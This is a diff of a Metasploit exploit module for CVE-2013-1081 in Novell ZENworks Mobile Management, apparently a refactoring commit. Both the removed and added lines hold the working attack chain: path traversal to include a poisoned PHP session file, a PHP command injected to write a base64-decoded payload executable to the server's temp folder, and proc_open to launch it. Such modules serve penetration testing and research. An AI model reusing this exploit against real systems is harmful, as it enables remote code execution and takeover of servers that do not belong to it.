@@ -22,7 +22,7 @@ def initialize
22
22
'Author' =>
23
23
[
24
24
'steponequit' ,
25
- 'Andrea Micalizzi (aka rgod)' #zdi report
25
+ 'Andrea Micalizzi (aka rgod)' #zdi report
26
26
] ,
27
27
'Platform' => 'win' ,
28
28
'Targets' =>
@@ -34,6 +34,7 @@ def initialize
34
34
[
35
35
[ 'CVE' , '2013-1081' ]
36
36
] ,
37
+ 'DisclosureDate' => "Mar 13 2013" ,
37
38
'License' => MSF_LICENSE
38
39
)
39
40
@@ -55,35 +56,46 @@ def setup_session()
55
56
'method' => "HEAD" ,
56
57
'uri' => normalize_uri ( "#{ target_uri . path } /download.php" ) ,
57
58
'headers' => { "Cookie" => "PHPSESSID=#{ sess } " } ,
58
- } )
59
+ } )
59
60
return sess , cmd
60
61
end
61
62
62
63
def upload_shell ( session_id , cmd_var )
63
- fname = Rex ::Text . rand_text_alpha ( 8 )
64
+ fname = Rex ::Text . rand_text_alpha ( 8 )
64
65
payload = generate_payload_exe
66
+ cmd = "$wdir=getcwd().'\\ \\ ..\\ \\ ..\\ \\ php\\ \\ temp\\ \\ ';"
67
+ cmd << "file_put_contents($wdir.'#{ fname } .exe',"
68
+ cmd << "base64_decode(file_get_contents('php://input')));"
69
+
65
70
res = send_request_cgi ( {
66
- 'method' => 'POST' ,
67
- 'uri' => normalize_uri ( " #{ target_uri . path } / DUSAP.php") ,
68
- 'data' => Rex ::Text . encode_base64 ( payload ) ,
71
+ 'method' => 'POST' ,
72
+ 'uri' => normalize_uri ( target_uri . path , " DUSAP.php") ,
73
+ 'data' => Rex ::Text . encode_base64 ( payload ) ,
69
74
'vars_get' => {
70
75
'language' => "res/languages/../../../../php/temp/sess_#{ session_id } " ,
71
- cmd_var => "$wdir=getcwd().' \\ \\ .. \\ \\ .. \\ \\ php \\ \\ temp \\ \\ ';file_put_contents($wdir.' #{ fname } .exe',base64_decode(file_get_contents('php://input')));"
72
- }
76
+ cmd_var => cmd
77
+ }
73
78
} )
74
79
return fname
75
80
end
76
81
77
82
def exec_shell ( session_id , cmd_var , fname )
78
- res = send_request_cgi ( {
79
- 'method' => 'POST' ,
80
- 'uri' => normalize_uri ( "#{ target_uri . path } /DUSAP.php" ) ,
81
- 'data' => Rex ::Text . encode_base64 ( payload ) ,
82
- 'vars_get' => {
83
- 'language' => "res/languages/../../../../php/temp/sess_#{ session_id } " ,
84
- cmd_var => "$wdir=getcwd().'\\ \\ ..\\ \\ ..\\ \\ php\\ \\ temp\\ \\ ';$cmd=$wdir.'#{ fname } ';$output=array();$handle=proc_open($cmd,array(1=>array('pipe','w')),$pipes,null,null,array('bypass_shell'=>true));if (is_resource($handle)){fclose($pipes[1]);proc_close($handle);}"
85
- }
86
- } )
83
+ cmd = "$wdir=getcwd().'\\ \\ ..\\ \\ ..\\ \\ php\\ \\ temp\\ \\ ';"
84
+ cmd << "$cmd=$wdir.'#{ fname } ';"
85
+ cmd << "$output=array();"
86
+ cmd << "$handle=proc_open($cmd,array(1=>array('pipe','w')),"
87
+ cmd << "$pipes,null,null,array('bypass_shell'=>true));"
88
+ cmd << "if (is_resource($handle)){fclose($pipes[1]);proc_close($handle);}"
89
+
90
+ res = send_request_cgi ( {
91
+ 'method' => 'POST' ,
92
+ 'uri' => normalize_uri ( target_uri . path , "DUSAP.php" ) ,
93
+ 'data' => Rex ::Text . encode_base64 ( payload ) ,
94
+ 'vars_get' => {
95
+ 'language' => "res/languages/../../../../php/temp/sess_#{ session_id } " ,
96
+ cmd_var => cmd
97
+ }
98
+ } )
87
99
end
88
100
89
101
@@ -93,7 +105,8 @@ def exploit()
93
105
res = send_request_raw ( {
94
106
'method' => 'GET' ,
95
107
'uri' => uri
96
- } )
108
+ } )
109
+
97
110
if ( res and res . code == 200 and res . body . to_s . match ( /ZENworks Mobile Management User Self-Administration Portal/ ) != nil )
98
111
print_status ( "Found Zenworks MDM, Checking application version" )
99
112
ver = res . body . to_s . match ( /<p id="version">Version (.*)<\/ p>/ ) [ 1 ]
0 commit comments